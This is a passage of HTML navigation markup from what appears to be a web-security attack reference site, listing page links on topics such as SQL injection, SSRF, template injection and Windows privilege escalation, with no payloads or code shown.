<label class="md-nav__title" for="__nav_31">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
JSON Web Token
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
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|
|
<li class="md-nav__item">
|
|
<a href="../../JSON%20Web%20Token/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
JWT - JSON Web Token
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
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|
|
</ul>
|
|
</nav>
|
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</li>
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<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_32" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_32" id="__nav_32_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Java RMI
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_32_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_32">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Java RMI
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
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|
|
<li class="md-nav__item">
|
|
<a href="../../Java%20RMI/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Java RMI
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
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</li>
|
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<li class="md-nav__item md-nav__item--nested">
|
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|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_33" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_33" id="__nav_33_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
LDAP Injection
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_33_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_33">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
LDAP Injection
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../LDAP%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
LDAP Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
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|
</li>
|
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|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_34" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_34" id="__nav_34_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
LaTeX Injection
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
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LaTeX Injection
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</nav>
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<span class="md-nav__icon md-icon"></span>
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Mass Assignment
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Mass Assignment
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</a>
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Methodology and Resources
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Active Directory Attacks
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</a>
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Bind Shell
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</a>
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Cloud - AWS
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Cloud - Azure
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</span>
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Cobalt Strike
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Container - Docker
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</a>
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<li class="md-nav__item">
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<span class="md-ellipsis">
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Container - Kubernetes
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</span>
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</a>
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Application Escape and Breakout
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</a>
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HTML Smuggling
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</a>
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Hash Cracking
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</a>
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Initial Access
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</a>
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<a href="../../Methodology%20and%20Resources/Linux%20-%20Evasion/" class="md-nav__link">
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Linux - Evasion
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</span>
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</a>
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<li class="md-nav__item">
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<a href="../../Methodology%20and%20Resources/Linux%20-%20Persistence/" class="md-nav__link">
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Linux - Persistence
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</span>
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</a>
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<span class="md-ellipsis">
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Linux - Privilege Escalation
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</span>
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</a>
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<li class="md-nav__item">
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<a href="../../Methodology%20and%20Resources/MSSQL%20Server%20-%20Cheatsheet/" class="md-nav__link">
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<span class="md-ellipsis">
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MSSQL Server
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</span>
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</a>
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<a href="../../Methodology%20and%20Resources/Metasploit%20-%20Cheatsheet/" class="md-nav__link">
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<span class="md-ellipsis">
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Metasploit
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</a>
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</a>
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<a href="../../Methodology%20and%20Resources/Network%20Discovery/" class="md-nav__link">
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<span class="md-ellipsis">
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Network Discovery
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</span>
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</a>
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</li>
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<li class="md-nav__item">
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<span class="md-ellipsis">
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Network Pivoting Techniques
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</span>
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</a>
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<li class="md-nav__item">
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<a href="../../Methodology%20and%20Resources/Office%20-%20Attacks/" class="md-nav__link">
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<span class="md-ellipsis">
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Office - Attacks
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</span>
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</a>
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<li class="md-nav__item">
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<a href="../../Methodology%20and%20Resources/Powershell%20-%20Cheatsheet/" class="md-nav__link">
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<span class="md-ellipsis">
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Powershell
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</span>
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</a>
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<li class="md-nav__item">
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<a href="../../Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet/" class="md-nav__link">
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<span class="md-ellipsis">
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Reverse Shell Cheat Sheet
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</span>
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</a>
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</li>
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<li class="md-nav__item">
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<a href="../../Methodology%20and%20Resources/Source%20Code%20Management/" class="md-nav__link">
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<span class="md-ellipsis">
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Source Code Management & CI/CD Compromise
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</span>
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</a>
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</li>
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<li class="md-nav__item">
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<a href="../../Methodology%20and%20Resources/Vulnerability%20Reports/" class="md-nav__link">
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<span class="md-ellipsis">
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Vulnerability Reports
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</span>
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</a>
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</li>
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<li class="md-nav__item">
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<a href="../../Methodology%20and%20Resources/Web%20Attack%20Surface/" class="md-nav__link">
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<span class="md-ellipsis">
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Subdomains Enumeration
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</span>
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</a>
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</li>
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<li class="md-nav__item">
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<a href="../../Methodology%20and%20Resources/Windows%20-%20AMSI%20Bypass/" class="md-nav__link">
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<span class="md-ellipsis">
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Windows - AMSI Bypass
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</span>
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</a>
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</li>
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<li class="md-nav__item">
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<a href="../../Methodology%20and%20Resources/Windows%20-%20DPAPI/" class="md-nav__link">
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<span class="md-ellipsis">
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Windows - DPAPI
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</span>
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</a>
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</li>
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<li class="md-nav__item">
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<a href="../../Methodology%20and%20Resources/Windows%20-%20Defenses/" class="md-nav__link">
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<span class="md-ellipsis">
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Windows - Defenses
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</span>
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</a>
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</li>
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<li class="md-nav__item">
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<a href="../../Methodology%20and%20Resources/Windows%20-%20Download%20and%20Execute/" class="md-nav__link">
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<span class="md-ellipsis">
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Windows - Download and execute methods
|
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</span>
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</a>
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</li>
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<li class="md-nav__item">
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<a href="../../Methodology%20and%20Resources/Windows%20-%20Mimikatz/" class="md-nav__link">
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<span class="md-ellipsis">
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Windows - Mimikatz
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</span>
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</a>
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</li>
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<li class="md-nav__item">
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<a href="../../Methodology%20and%20Resources/Windows%20-%20Persistence/" class="md-nav__link">
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<span class="md-ellipsis">
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Windows - Persistence
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</span>
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</a>
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</li>
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<li class="md-nav__item">
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<a href="../../Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation/" class="md-nav__link">
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<span class="md-ellipsis">
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Windows - Privilege Escalation
|
|
</span>
|
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</a>
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</li>
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<li class="md-nav__item">
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<a href="../../Methodology%20and%20Resources/Windows%20-%20Using%20credentials/" class="md-nav__link">
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<span class="md-ellipsis">
|
|
Windows - Using credentials
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
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|
|
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|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_37" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_37" id="__nav_37_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
NoSQL Injection
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_37_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_37">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
NoSQL Injection
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../NoSQL%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
NoSQL Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
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|
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|
|
|
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|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_38" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_38" id="__nav_38_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
OAuth Misconfiguration
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_38_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_38">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
OAuth Misconfiguration
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../OAuth%20Misconfiguration/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
OAuth Misconfiguration
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
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|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_39" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_39" id="__nav_39_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
ORM Leak
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_39_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_39">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
ORM Leak
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../ORM%20Leak/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
ORM Leak
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_40" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_40" id="__nav_40_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Open Redirect
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_40_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_40">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Open Redirect
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../Open%20Redirect/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Open URL Redirect
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_41" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_41" id="__nav_41_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Prompt Injection
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_41_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_41">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Prompt Injection
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../Prompt%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Prompt Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_42" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_42" id="__nav_42_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Prototype Pollution
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_42_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_42">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Prototype Pollution
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../Prototype%20Pollution/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Prototype Pollution
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_43" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_43" id="__nav_43_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Race Condition
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_43_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_43">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Race Condition
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../Race%20Condition/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Race Condition
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_44" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_44" id="__nav_44_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Regular Expression
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_44_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_44">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Regular Expression
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../Regular%20Expression/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Regular Expression
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_45" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_45" id="__nav_45_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Request Smuggling
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_45_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_45">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Request Smuggling
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../Request%20Smuggling/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Request Smuggling
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_46" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_46" id="__nav_46_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
SAML Injection
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_46_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_46">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
SAML Injection
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../SAML%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
SAML Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_47" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_47" id="__nav_47_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
SQL Injection
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_47_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_47">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
SQL Injection
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../SQL%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
SQL Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../SQL%20Injection/BigQuery%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Google BigQuery SQL Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../SQL%20Injection/Cassandra%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Cassandra Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../SQL%20Injection/DB2%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
DB2 Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
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<li class="md-nav__item">
|
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<a href="../../SQL%20Injection/MSSQL%20Injection/" class="md-nav__link">
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|
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<span class="md-ellipsis">
|
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MSSQL Injection
|
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</span>
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</a>
|
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</li>
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<li class="md-nav__item">
|
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<a href="../../SQL%20Injection/MySQL%20Injection/" class="md-nav__link">
|
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|
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<span class="md-ellipsis">
|
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MySQL Injection
|
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</span>
|
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</a>
|
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</li>
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<li class="md-nav__item">
|
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<a href="../../SQL%20Injection/OracleSQL%20Injection/" class="md-nav__link">
|
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|
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<span class="md-ellipsis">
|
|
Oracle SQL Injection
|
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</span>
|
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</a>
|
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</li>
|
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<li class="md-nav__item">
|
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<a href="../../SQL%20Injection/PostgreSQL%20Injection/" class="md-nav__link">
|
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|
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|
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<span class="md-ellipsis">
|
|
PostgreSQL Injection
|
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</span>
|
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</a>
|
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</li>
|
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<li class="md-nav__item">
|
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<a href="../../SQL%20Injection/SQLite%20Injection/" class="md-nav__link">
|
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|
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|
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<span class="md-ellipsis">
|
|
SQLite Injection
|
|
</span>
|
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</a>
|
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</li>
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<li class="md-nav__item">
|
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<a href="../../SQL%20Injection/SQLmap/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
SQLmap
|
|
</span>
|
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</a>
|
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</li>
|
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</ul>
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</nav>
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</li>
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<li class="md-nav__item md-nav__item--nested">
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|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_48" >
|
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<label class="md-nav__link" for="__nav_48" id="__nav_48_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Server Side Include Injection
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_48_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_48">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Server Side Include Injection
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
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|
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|
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<li class="md-nav__item">
|
|
<a href="../../Server%20Side%20Include%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Server Side Include Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
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|
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</ul>
|
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</nav>
|
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</li>
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<li class="md-nav__item md-nav__item--nested">
|
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|
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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_49" >
|
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|
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|
|
<label class="md-nav__link" for="__nav_49" id="__nav_49_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Server Side Request Forgery
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_49_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_49">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Server Side Request Forgery
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
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|
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|
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|
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|
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<li class="md-nav__item">
|
|
<a href="../../Server%20Side%20Request%20Forgery/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Server-Side Request Forgery
|
|
</span>
|
|
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|
|
</a>
|
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</li>
|
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<li class="md-nav__item">
|
|
<a href="../../Server%20Side%20Request%20Forgery/SSRF-Advanced-Exploitation/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
SSRF Advanced Exploitation
|
|
</span>
|
|
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|
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</a>
|
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</li>
|
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<li class="md-nav__item">
|
|
<a href="../../Server%20Side%20Request%20Forgery/SSRF-Cloud-Instances/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
SSRF URL for Cloud Instances
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
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</ul>
|
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</nav>
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</li>
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|
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<li class="md-nav__item md-nav__item--nested">
|
|
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|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_50" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_50" id="__nav_50_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Server Side Template Injection
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_50_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_50">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Server Side Template Injection
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../Server%20Side%20Template%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Server Side Template Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
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|
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<li class="md-nav__item">
|
|
<a href="../../Server%20Side%20Template%20Injection/ASP/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Server Side Template Injection - ASP.NET
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
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|
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<li class="md-nav__item">
|
|
<a href="../../Server%20Side%20Template%20Injection/Java/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Server Side Template Injection - Java
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
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|
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<li class="md-nav__item">
|
|
<a href="../../Server%20Side%20Template%20Injection/JavaScript/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Server Side Template Injection - JavaScript
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
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<li class="md-nav__item">
|
|
<a href="../../Server%20Side%20Template%20Injection/PHP/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Server Side Template Injection - PHP
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
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|
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<li class="md-nav__item">
|
|
<a href="../../Server%20Side%20Template%20Injection/Python/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Server Side Template Injection - Python
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
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|
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<li class="md-nav__item">
|
|
<a href="../../Server%20Side%20Template%20Injection/Ruby/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Server Side Template Injection - Ruby
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
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</ul>
|
|
</nav>
|
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</li>
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<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_51" id="__nav_51_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Tabnabbing
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_51_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_51">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Tabnabbing
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../Tabnabbing/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Tabnabbing
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
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|
|
|
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</ul>
|
|
</nav>
|
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</li>
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<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_52" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_52" id="__nav_52_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Type Juggling
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_52_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_52">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Type Juggling
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
